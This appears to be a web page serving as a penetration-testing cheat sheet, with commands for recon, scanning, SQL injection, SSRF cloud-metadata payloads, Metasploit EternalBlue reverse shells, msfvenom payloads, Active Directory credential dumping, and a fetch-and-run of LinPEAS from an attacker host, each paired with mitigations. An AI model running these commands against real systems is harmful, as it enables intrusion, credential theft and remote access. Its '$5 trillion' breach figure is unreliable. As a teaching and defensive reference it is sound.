01
PASSIVE RECON
02
OSINT
03
DNS ENUM
04
SUBDOMAIN
05
FINGERPRINT
PHASE 01 — RECONNAISSANCE: The most critical phase. 90% of successful penetrations come from thorough recon. Never skip this phase. Information gathered here shapes every decision that follows.
01.01
PASSIVE RECON & OSINT
PASSIVE
THEHAVERSTER — FULL RECON
OSINT
Harvest emails, subdomains, hosts, employee names, open ports from multiple public sources simultaneously.
# Install pip3 install theHarvester # Harvest from all sources theHarvester -d target.com \ -b google,bing,linkedin,shodan,virustotal \ -l 500 \ -f recon_output # With DNS brute force theHarvester -d target.com \ -b all -c -n -t
MITIGATION: Use email masking, remove metadata from public docs, limit LinkedIn employee visibility, monitor Google dorks for your domain.
SHODAN — INTERNET SCANNER
OSINT
Find exposed services, default credentials, outdated software, IoT devices, and misconfigurations using Shodan's indexed data.
# Install CLI pip3 install shodan shodan init YOUR_API_KEY # Search target org shodan search --fields ip_str,port,org,vulns \ 'org:"Target Corp" has_vuln:true' # Find exposed admin panels shodan search 'hostname:target.com http.title:"Admin"' # CVE-based search shodan search 'vuln:CVE-2024-3400' # Find default passwords shodan search 'default password target.com'
MITIGATION: Restrict internet-facing services, use firewall allowlists, scan your own org on Shodan monthly, close unused ports.
AMASS — SUBDOMAIN ENUMERATION
DNS
Industry-standard subdomain discovery using DNS brute force, scraping, certificates, and passive sources. Finds forgotten assets.
# Install go install github.com/owasp-amass/amass/v4/...@latest # Full passive enum amass enum -passive -d target.com \ -o subdomains.txt # Active with brute force amass enum -active -d target.com \ -brute -w /usr/share/wordlists/dns.txt \ -o subs_active.txt # With all data sources amass enum -d target.com \ -config ~/.config/amass/config.ini
MITIGATION: Audit all DNS records quarterly, decommission unused subdomains, use wildcard DNS carefully, monitor certificate transparency logs.
RECON-NG — MODULAR OSINT
OSINT
Powerful modular framework for OSINT gathering. Aggregates data from dozens of API sources into structured reports.
# Launch and setup workspace recon-ng workspaces create target_op # Install key modules marketplace install recon/domains-hosts/hackertarget marketplace install recon/hosts-ports/shodan_ip marketplace install recon/domains-vulnerabilities/xssed # Run full domain recon db insert domains target.com run recon/domains-hosts/hackertarget run recon/domains-hosts/certificate_transparency run recon/hosts-ports/shodan_ip # Generate HTML report report html
MITIGATION: Remove exposed PII from data broker sites, monitor HaveIBeenPwned for leaked credentials, opt-out from data brokers.
01.02
DNS ENUMERATION & ZONE TRANSFER
HIGH IMPACT
DNS ZONE TRANSFER (AXFR)
CRITICAL VULN
Misconfigured DNS servers expose their entire zone file — revealing ALL internal hostnames, IPs, and network structure.
# Find nameservers nslookup -type=NS target.com # Attempt AXFR zone transfer dig AXFR target.com @ns1.target.com host -t axfr target.com ns1.target.com # Auto-detect all NS and try transfer fierce --domain target.com # DNSRecon comprehensive dnsrecon -d target.com -t axfr dnsrecon -d target.com -t brt \ -D /usr/share/dnsrecon/namelist.txt
MITIGATION: Restrict AXFR to trusted IPs only (ACL on bind/named.conf), enable DNSSEC, use split-horizon DNS. Audit with: dig AXFR your-domain @your-ns — should return "Transfer failed".
SUBFINDER + HTTPX PIPELINE
SUBDOMAIN
Professional bug bounty pipeline: find subdomains → probe live hosts → screenshot → detect technologies in one chain.
# Install tools go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest go install github.com/projectdiscovery/httpx/cmd/httpx@latest go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest # Full recon pipeline subfinder -d target.com -silent | \ httpx -title -tech-detect -status-code \ -follow-redirects -o live_hosts.txt # Scan live hosts for vulnerabilities cat live_hosts.txt | \ nuclei -t /nuclei-templates/ \ -severity critical,high -o vulns.txt
MITIGATION: Implement automated asset discovery in CI/CD, use bug bounty programs to find forgotten assets, run weekly subfinder scans on your own domains.
PHASE 02 — NETWORK PENTESTING: Network-layer vulnerabilities remain the most common critical findings. From VLAN hopping to BGP hijacking — network security is foundational. These commands have uncovered Fortune 500 breaches.
02.01
NMAP — MASTER PORT SCANNING
HIGH IMPACT
FULL PROFESSIONAL NMAP SUITE
NETWORK
Complete port scanning methodology used in professional engagements — from stealthy discovery to aggressive CVE detection.
# Phase 1: Host Discovery (stealth) nmap -sn -PE -PA80,443 --disable-arp-ping \ 192.168.1.0/24 -oG hosts_alive.txt # Phase 2: Fast top-1000 port scan nmap -sV -sC -O --top-ports 1000 \ -T4 --open 192.168.1.0/24 \ -oA scan_phase2 # Phase 3: Full port scan on live hosts nmap -sS -p- -T4 --min-rate 5000 \ 192.168.1.10 -oA full_scan # Phase 4: Version + Script + CVE scan nmap -sV --version-intensity 9 \ -sC --script vuln,exploit,auth,default \ --script-args vulners.showall=true \ -p 21,22,23,25,53,80,110,139,443,445,3306,3389,5900 \ 192.168.1.10 -oA vuln_scan # Phase 5: Evasion / Stealth mode nmap -sS -f --mtu 24 -D RND:10 \ --source-port 53 -T1 target.com
MITIGATION: Deploy IDS/IPS (Snort/Suricata), use port knocking, implement firewall egress/ingress filtering, enable iptables rate limiting on SYN packets, run nmap against yourself weekly.
02.02
NETWORK VULNERABILITY SCANNING
CRITICAL
OPENVAS / GREENBONE
CVE SCANNER
Enterprise-grade open source vulnerability scanner. Checks 90,000+ CVEs against your network automatically.
# Install Greenbone Community Edition sudo apt install openvas sudo gvm-setup sudo gvm-start # CLI scan via gvm-cli pip3 install gvm-tools # Create and run scan via XML gvm-cli --gmp-username admin \ --gmp-password admin \ socket --socketpath /run/gvm/gvmd.sock \ --xml '' # Export results as PDF gvm-cli socket --xml \ ' Full Scan '
MITIGATION: Patch within SLA (Critical: 24h, High: 7 days, Medium: 30 days), use virtual patching via WAF/IPS when patching isn't immediate.
SMB VULNERABILITIES (ETERNALBLUE)
CRITICAL
SMB vulnerabilities are responsible for WannaCry, NotPetya ransomware. Detect MS17-010 and related CVEs.
# Check for MS17-010 (EternalBlue) nmap -p 445 --script smb-vuln-ms17-010 \ 192.168.1.0/24 # Full SMB vulnerability scan nmap -p 139,445 --script \ "smb-vuln-*,smb-security-mode,smb2-security-mode" \ 192.168.1.10 # CrackMapExec SMB audit pip3 install crackmapexec crackmapexec smb 192.168.1.0/24 \ --shares --sessions --users \ --pass-pol # Check for null sessions crackmapexec smb 192.168.1.10 \ -u '' -p '' --shares
MITIGATION: Disable SMBv1 immediately (Set-SmbServerConfiguration -EnableSMB1Protocol $false), block port 445 at perimeter, apply MS17-010 patch KB4012212, segment network.
RESPONDER — CREDENTIAL CAPTURE
CREDENTIAL THEFT
Captures NTLMv2 hashes via LLMNR/NBT-NS poisoning — one of the most common attack vectors in internal penetration tests.
# Clone and run Responder git clone https://github.com/lgandx/Responder cd Responder # Run on interface (captures hashes) python3 Responder.py -I eth0 -wrf # Crack captured NTLMv2 hashes hashcat -m 5600 captured.txt \ /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule # Relay attacks (no-crack needed) # Requires SMB signing disabled impacket-ntlmrelayx -tf targets.txt \ -smb2support -socks
MITIGATION: Disable LLMNR via GPO (Computer Config > Admin Templates > Network > DNS Client), disable NetBIOS over TCP, enable SMB signing, use LAPS for local admin.
SSL/TLS VULNERABILITY SCANNER
CRYPTO VULN
Detect POODLE, BEAST, HEARTBLEED, ROBOT, weak ciphers, expired certs, and misconfigurations in TLS implementations.
# testssl.sh - comprehensive TLS git clone https://github.com/drwetter/testssl.sh ./testssl.sh --full --json \ --html https://target.com # SSLyze fast batch scan pip3 install sslyze sslyze --regular target.com:443 # Nmap SSL scripts nmap -p 443 --script \ ssl-heartbleed,ssl-poodle,ssl-ccs-injection,\ ssl-dh-params,ssl-cert,ssl2-enum-ciphers \ target.com # Check for Heartbleed CVE-2014-0160 nmap -p 443 --script ssl-heartbleed target.com
MITIGATION: Enforce TLS 1.2/1.3 only, disable RC4/DES/3DES, use HSTS, implement certificate pinning, automate cert renewal (Let's Encrypt), scan with testssl.sh in CI/CD pipeline.
PHASE 03 — WEB APPLICATION PENTESTING: 75% of cyberattacks target web applications. OWASP Top 10 vulnerabilities cost companies billions annually. These tools cover injection, authentication, SSRF, SSTI, and more.
03.01
SQL INJECTION — DETECTION & EXPLOITATION
CRITICAL
SQLMAP — AUTOMATED SQLi
OWASP A03
World's most powerful SQL injection automation tool. Supports 30+ databases, blind injection, time-based, union-based.
# Basic detection sqlmap -u "https://target.com/item?id=1" \ --dbs --batch # With authentication cookie sqlmap -u "https://target.com/dashboard?id=5" \ --cookie "session=abc123; auth=xyz" \ --dbs --batch --level 5 --risk 3 # Dump specific table data sqlmap -u "https://target.com/item?id=1" \ -D webapp_db -T users --dump \ --batch # POST request injection sqlmap -u "https://target.com/login" \ --data "user=admin&pass=test" \ -p user --dbs --batch # WAF bypass + tamper scripts sqlmap -u "https://target.com/item?id=1" \ --tamper space2comment,charencode,randomcase \ --random-agent --dbs
MITIGATION: Use parameterized queries/prepared statements ONLY, implement input validation, deploy WAF rules, use ORM frameworks, principle of least privilege for DB accounts, disable detailed error messages.
NUCLEI — AUTOMATED CVE SCANNER
CVE DETECT
Community-driven vulnerability scanner with 8000+ templates. Finds known CVEs, misconfigs, exposed panels, default creds.
# Install and update templates go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest nuclei -update-templates # Scan for critical/high CVEs only nuclei -u https://target.com \ -severity critical,high \ -o critical_vulns.txt # Scan full list of hosts nuclei -l live_hosts.txt \ -t /nuclei-templates/cves/ \ -t /nuclei-templates/exposures/ \ -t /nuclei-templates/default-logins/ \ -c 50 -o findings.json \ -json # Specific CVE check nuclei -u https://target.com \ -id CVE-2023-44487 # HTTP/2 Rapid Reset # Log4Shell mass scanner nuclei -l targets.txt \ -t cves/2021/CVE-2021-44228.yaml
MITIGATION: Integrate Nuclei into your CI/CD pipeline as a security gate, run daily scans, subscribe to CVE feeds (NVD, VulnDB), maintain a vulnerability management SLA.
03.02
XSS, SSRF, LFI, SSTI DETECTION
OWASP TOP 10
XSS SCANNING — DALFOX
OWASP A03
Advanced XSS parameter scanning with DOM-based detection, blind XSS, WAF bypass payloads, and reporting.
# Install Dalfox go install github.com/hahwul/dalfox/v2@latest # Scan single URL dalfox url "https://target.com/search?q=test" # Scan with custom headers & cookie dalfox url "https://target.com/search?q=test" \ --cookie "session=abc123" \ --header "X-Custom: value" \ --waf-evasion # Pipe from katana crawler go install github.com/projectdiscovery/katana/cmd/katana@latest katana -u https://target.com -silent | \ dalfox pipe --silence -o xss.txt # gxss parameter finder echo target.com | gau | \ grep -iE "=http|=https|url=|redirect=" | \ qsreplace '">'
MITIGATION: Implement Content Security Policy (CSP) headers, use output encoding (OWASP Java Encoder), enable HttpOnly/Secure cookie flags, sanitize all user input server-side.
SSRF — SERVER SIDE REQUEST FORGERY
CRITICAL
SSRF can expose cloud metadata (AWS keys!), internal services, REDIS, and enable full cloud account takeover. Extremely critical in cloud environments.
# SSRF detection with SSRFmap git clone https://github.com/swisskyrepo/SSRFmap pip3 install -r requirements.txt # Test for cloud metadata exposure python3 ssrfmap.py -r request.txt \ -p url -m readfiles # Manual SSRF payloads to test # AWS Metadata http://169.254.169.254/latest/meta-data/iam/security-credentials/ # GCP Metadata http://metadata.google.internal/computeMetadata/v1/ # Azure Metadata http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Internal network probe http://127.0.0.1:6379/ # Redis http://127.0.0.1:9200/ # Elasticsearch http://127.0.0.1:2375/ # Docker API # Bypass filters http://2130706433/ # 127.0.0.1 decimal http://0x7f000001/ # 127.0.0.1 hex
MITIGATION: Whitelist allowed URLs/IP ranges, disable unnecessary URL schemes, use IMDSv2 on AWS (requires token), block cloud metadata IPs at firewall (169.254.169.254), validate/sanitize all URL inputs.
FFUF — FUZZING & DIRECTORY BRUTE
FUZZING
Ultra-fast web fuzzer for discovering hidden files, directories, endpoints, parameters, virtual hosts, and API paths.
# Install go install github.com/ffuf/ffuf/v2@latest # Directory discovery ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -u https://target.com/FUZZ \ -mc 200,301,302,403 -t 100 # API endpoint fuzzing ffuf -w api_wordlist.txt \ -u https://api.target.com/v1/FUZZ \ -H "Authorization: Bearer TOKEN" \ -mc all -fc 404 # Parameter fuzzing for hidden params ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -u "https://target.com/profile?FUZZ=test" \ -fw 100 # Virtual host discovery ffuf -w subdomains.txt \ -u https://target.com/ \ -H "Host: FUZZ.target.com" \ -fw 1050
MITIGATION: Implement rate limiting, use robots.txt and .htaccess properly, return consistent error pages, monitor for brute force patterns in WAF/SIEM, enforce authentication on all internal paths.
BURP SUITE AUTOMATION
FULL SUITE
Professional web app testing with Burp Suite CLI automation for scanning, crawling, and intercepting traffic at scale.
# Burp Suite headless scan (Pro) java -jar burpsuite_pro.jar \ --project-file=target_project.burp \ --config-file=scan_config.json # OWASP ZAP (free alternative) docker run -t owasp/zap2docker-stable \ zap-full-scan.py \ -t https://target.com \ -r zap_report.html \ -J zap_report.json # ZAP API scan (REST/GraphQL) docker run -t owasp/zap2docker-stable \ zap-api-scan.py \ -t https://target.com/openapi.json \ -f openapi \ -r api_report.html # HTTPie for manual API testing http POST https://api.target.com/login \ username=admin password=test \ --auth-type bearer --auth TOKEN
MITIGATION: Integrate DAST scanning in CI/CD pipeline, use Burp/ZAP in automation to catch regressions, implement security unit tests, conduct quarterly pen tests.
PHASE 04 — CLOUD SECURITY ASSESSMENT: Cloud misconfigurations caused $5 trillion in breaches (2023). IAM misconfigurations, exposed S3 buckets, IMDS exploitation, and privilege escalation are the most critical vectors.
04.01
AWS SECURITY ASSESSMENT
CRITICAL
PROWLER — AWS SECURITY AUDITOR
AWS AUDIT
AWS-native security tool checking 300+ controls across CIS Benchmark, NIST 800-53, PCI-DSS, ISO 27001, SOC2.
# Install Prowler pip3 install prowler # Full AWS security assessment prowler aws --profile default \ -M html,json,csv \ -o ./results/ # CIS Benchmark compliance prowler aws --compliance cis_1.5_aws # Check specific services prowler aws --service s3,iam,ec2,rds,cloudtrail # Check for publicly exposed resources prowler aws --checks \ s3_bucket_public_access,\ ec2_securitygroup_allow_ingress_from_internet_to_all_ports,\ iam_root_hardware_mfa_enabled # Multi-account scan prowler aws --role arn:aws:iam::ACCOUNT_ID:role/ProwlerRole
MITIGATION: Enable AWS Security Hub, use AWS Config rules, implement SCP (Service Control Policies) in AWS Organizations, run Prowler weekly in lambda, enable GuardDuty, use CloudTrail in all regions.
S3 BUCKET ENUMERATION & EXPOSURE
DATA EXPOSURE
Exposed S3 buckets have leaked customer data, source code, and credentials for major corporations. Find them before attackers do.
# S3Scanner - find open buckets pip3 install s3scanner s3scanner scan --bucket target-company-backup # Enumerate common bucket names s3scanner scan --bucket-file company_buckets.txt \ --dump # Grey-hat S3 tools pip3 install bucket-finder bucket_finder.rb target # AWS CLI - check own bucket config aws s3api get-bucket-acl --bucket my-bucket aws s3api get-bucket-policy --bucket my-bucket aws s3api get-public-access-block --bucket my-bucket # Check for anonymous access aws s3 ls s3://target-bucket --no-sign-request # Find buckets via Google dork # site:s3.amazonaws.com "target-company"
MITIGATION: Enable S3 Block Public Access at account level, use S3 Access Analyzer, enable versioning, enable access logging, use bucket policies (not ACLs), encrypt with KMS, enable Macie for sensitive data detection.
IAM PRIVILEGE ESCALATION
CRITICAL
Misconfigured IAM policies can allow low-privilege attackers to escalate to Admin. 25+ known escalation paths in AWS.
# Enumerate IAM permissions pip3 install enumerate-iam python3 enumerate-iam.py \ --access-key $AWS_ACCESS_KEY \ --secret-key $AWS_SECRET_KEY # Pacu - AWS Exploitation Framework pip3 install pacu pacu # In Pacu shell run iam__bruteforce_permissions run iam__privesc_scan run iam__detect_honeytokens # Manual IAM checks aws iam get-account-authorization-details aws iam list-attached-user-policies --user-name target-user aws iam simulate-principal-policy \ --policy-source-arn arn:aws:iam::ACCT:user/test \ --action-names iam:CreateUser iam:AttachUserPolicy # CloudMapper - visualize permissions git clone https://github.com/duo-labs/cloudmapper python3 cloudmapper.py collect --account my-account python3 cloudmapper.py report
MITIGATION: Enforce least privilege (use IAM Access Analyzer), enable MFA for all users, no wildcard (*) actions in policies, rotate access keys every 90 days, use IAM roles instead of users, enable CloudTrail for API logging.
MULTI-CLOUD — SCOUTSUITE
AWS/GCP/AZURE
Multi-cloud security auditing tool covering AWS, GCP, Azure, Oracle, and Alibaba Cloud with unified risk reporting.
# Install ScoutSuite pip3 install scoutsuite # AWS full audit scout aws --report-dir ./scout-results/ # GCP audit scout gcp --user-account \ --project my-project-id # Azure audit scout azure --cli \ --subscription-ids SUB_ID # Checkov - IaC security scanning pip3 install checkov checkov -d ./terraform/ \ --framework terraform \ -o json \ --output-file iac_findings.json
MITIGATION: Scan IaC templates before deployment (Checkov in CI/CD), use CSPM tools (Wiz, Prisma Cloud, or free: ScoutSuite/Prowler), enable cloud-native security services (GuardDuty, Security Command Center, Defender for Cloud).
PHASE 05 — EXPLOITATION (AUTHORIZED ONLY): Exploitation confirms the real-world impact of vulnerabilities. Always document, always have written authorization, always capture screenshots for the report.
05.01
METASPLOIT FRAMEWORK
EXPLOITATION
METASPLOIT — PROFESSIONAL WORKFLOW
EXPLOITATION
Industry-standard exploitation framework. Used by red teams worldwide. Supports 2000+ exploits, payloads, post-exploitation.
# Launch Metasploit msfconsole -q # Search for specific CVE exploit search CVE-2021-44228 # Log4Shell search CVE-2023-4966 # Citrix Bleed search type:exploit name:eternalblue # EternalBlue (MS17-010) workflow use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.50 set LHOST 192.168.1.100 set payload windows/x64/meterpreter/reverse_tcp check # Verify target is vulnerable exploit # Post-exploitation automation run post/multi/recon/local_exploit_suggester run post/windows/gather/hashdump run post/windows/gather/credentials/credential_collector # Generate custom payloads msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.1.100 LPORT=4444 \ -f exe -e x86/shikata_ga_nai -i 5 \ -o payload.exe # Linux payload msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=10.10.10.1 LPORT=4444 \ -f elf -o shell.elf
MITIGATION: Deploy EDR (CrowdStrike, SentinelOne, Microsoft Defender), enable PowerShell Script Block Logging, use AppLocker/WDAC, segment networks so exploited hosts can't pivot, patch promptly.
05.02
ACTIVE DIRECTORY ATTACKS
DOMAIN COMPROMISE
BLOODHOUND — AD ATTACK PATHS
AD RECON
Visualizes Active Directory attack paths to Domain Admin. Used in nearly every successful red team engagement. Finds paths humans miss.
# Install BloodHound pip3 install bloodhound # Install Neo4j (required) sudo neo4j start # Collect AD data bloodhound-python -u user -p password \ -d target.local \ -c all \ --dns-tcp # Or use SharpHound from Windows SharpHound.exe -c All --zipfilename output.zip # Kerberoasting - find service accounts impacket-GetUserSPNs \ target.local/user:password \ -dc-ip 10.10.10.5 \ -request # Crack Kerberos TGS tickets hashcat -m 13100 tgs.txt \ /usr/share/wordlists/rockyou.txt
MITIGATION: Use strong passwords for service accounts (25+ chars), enable Protected Users security group, use gMSA (Group Managed Service Accounts), enable audit logging on DCs, implement Privileged Access Workstations (PAWs).
IMPACKET — AD EXPLOITATION
AD EXPLOIT
Python framework for Windows/AD protocols. Enables Pass-the-Hash, Pass-the-Ticket, DCSync, Secretsdump — remote Domain Admin access.
# Install Impacket pip3 install impacket # Secretsdump - extract hashes impacket-secretsdump \ target.local/Administrator:password \ -dc-ip 10.10.10.5 # Pass-the-Hash attack impacket-psexec \ Administrator@10.10.10.50 \ -hashes aad3b435:31d6cfe0d16ae931b73c59d7e0c089c0 # DCSync - dump all domain hashes impacket-secretsdump \ target.local/AdminUser:pass \ -just-dc -outputfile dcsync_dump # WMI remote execution impacket-wmiexec \ target.local/Admin:password@10.10.10.50 # AS-REP Roasting impacket-GetNPUsers \ target.local/ -no-pass \ -usersfile users.txt -dc-ip 10.10.10.5
MITIGATION: Enable Credential Guard (Windows), disable NTLM where possible (use Kerberos only), enable Protected Users group, use tiered admin model, monitor for DCSync events (EventID 4662), deploy Microsoft ATA/Defender for Identity.
PHASE 06 — POST-EXPLOITATION: Post-exploitation demonstrates the full blast radius to stakeholders. Persistence, lateral movement, data exfiltration simulation, and C2 communications are documented for the final report.
06.01
PRIVILEGE ESCALATION & PERSISTENCE
CRITICAL
LINUX PRIVESC — LINPEAS
PRIVESC
Comprehensive Linux privilege escalation script. Finds SUID binaries, cron jobs, writable paths, sudo misconfigs, capabilities.
# Download and run LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # Or serve from attacker machine python3 -m http.server 8000 # On target: curl http://ATTACKER:8000/linpeas.sh | bash # Manual privesc checks find / -perm -4000 2>/dev/null # SUID binaries sudo -l # Sudo permissions cat /etc/crontab # Cron jobs getcap -r / 2>/dev/null # Capabilities # Check for CVEs with linux-exploit-suggester ./linux-exploit-suggester.sh --uname \ "$(uname -r)"
MITIGATION: Remove unnecessary SUID bits, audit /etc/sudoers regularly, use immutable cron jobs, implement AppArmor/SELinux, use rootkit scanners (rkhunter, chkrootkit), enable auditd for file integrity monitoring.
WINDOWS PRIVESC — WINPEAS
PRIVESC
Windows privilege escalation checks: unquoted service paths, AlwaysInstallElevated, weak registry permissions, stored credentials.
# Download WinPEAS # https://github.com/carlospolop/PEASS-ng winpeas.exe log C:\output.txt # PowerShell alternative Import-Module .\PowerUp.ps1 Invoke-AllChecks # Manual key checks whoami /priv whoami /groups net localgroup administrators # Unquoted service path check wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" # AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # Stored credential extraction cmdkey /list dir /a %userprofile%\AppData\Local\Microsoft\Credentials
MITIGATION: Apply UAC, disable AlwaysInstallElevated GPO, quote all service paths, restrict registry ACLs, use LAPS for local admin, enable Windows Defender Credential Guard, run CIS Benchmark hardening.
PHASE 07 — DEFENSE & HARDENING: The ultimate goal of every pentest is to improve security posture. These commands help defenders implement real security controls — not checkbox compliance.
07.01
DEFENSIVE TOOLING & HARDENING
DEFENSE
LYNIS — SYSTEM HARDENING AUDIT
HARDENING
CIS Benchmark-aligned system hardening audit for Linux/macOS. Produces actionable security improvements.
# Install and audit git clone https://github.com/CISOfy/lynis cd lynis && ./lynis audit system # Detailed hardening suggestions ./lynis audit system --verbose \ --pentest --logfile lynis.log # Compliance modes ./lynis audit system --compliance-tests-only # Key hardening commands based on findings # Disable USB if not needed echo 'blacklist usb-storage' >> /etc/modprobe.d/blacklist.conf # Enable process accounting apt install acct && accton on # Secure shared memory echo 'tmpfs /run/shm tmpfs ro,noexec,nosuid 0 0' >> /etc/fstab
WAZUH — SIEM/XDR DEPLOYMENT
SIEM
Open source SIEM, XDR, and CSPM platform. Detects attacks in real-time using MITRE ATT&CK framework.
# Deploy Wazuh via Docker git clone https://github.com/wazuh/wazuh-docker cd wazuh-docker/single-node/ docker-compose -f generate-indexer-certs.yml run --rm generator docker-compose up -d # Install agent on target curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add - WAZUH_MANAGER='10.10.10.1' apt-get install wazuh-agent # Suricata IDS rules apt install suricata suricata-update suricata -c /etc/suricata/suricata.yaml -i eth0 # Falco - runtime security for K8s helm repo add falcosecurity https://falcosecurity.github.io/charts helm install falco falcosecurity/falco \ --set driver.kind=modern_ebpf
FIREWALL HARDENING SCRIPT
NETWORK DEFENSE
Production-ready iptables ruleset implementing defense-in-depth network controls for Linux servers.
#!/bin/bash - Production Firewall Rules # Flush all existing rules iptables -F && iptables -X # Default DENY all policies iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT ACCEPT # Allow established connections iptables -A INPUT -m state \ --state ESTABLISHED,RELATED -j ACCEPT # Allow loopback iptables -A INPUT -i lo -j ACCEPT # Rate limit SSH (anti-brute force) iptables -A INPUT -p tcp --dport 22 \ -m limit --limit 3/min -j ACCEPT # Block port scans (SYN flood) iptables -A INPUT -p tcp --syn \ -m limit --limit 1/s -j ACCEPT # Log dropped packets iptables -A INPUT -j LOG \ --log-prefix "IPTABLES_DROP: " # Save rules iptables-save > /etc/iptables/rules.v4
SECRETS SCANNING — TRUFFLEHOG + GITLEAKS
SECRET SCANNING
Find leaked API keys, passwords, and credentials in Git repos, Docker images, S3 buckets, and filesystems before attackers do.
# TruffleHog - find secrets everywhere pip3 install truffleHog3 trufflehog git https://github.com/org/repo trufflehog filesystem /path/to/code trufflehog docker --image myapp:latest trufflehog s3 --bucket my-bucket # Gitleaks - git secrets scanner go install github.com/zricethezav/gitleaks/v8@latest gitleaks detect --source /path/to/repo \ -v --report-format json \ --report-path secrets.json # Scan entire GitHub org gitleaks detect \ --source /path/to/cloned-org \ --config gitleaks.toml # Pre-commit hook integration pip3 install pre-commit cat > .pre-commit-config.yaml << EOF repos: - repo: https://github.com/gitleaks/gitleaks rev: v8.18.0 hooks: - id: gitleaks EOF pre-commit install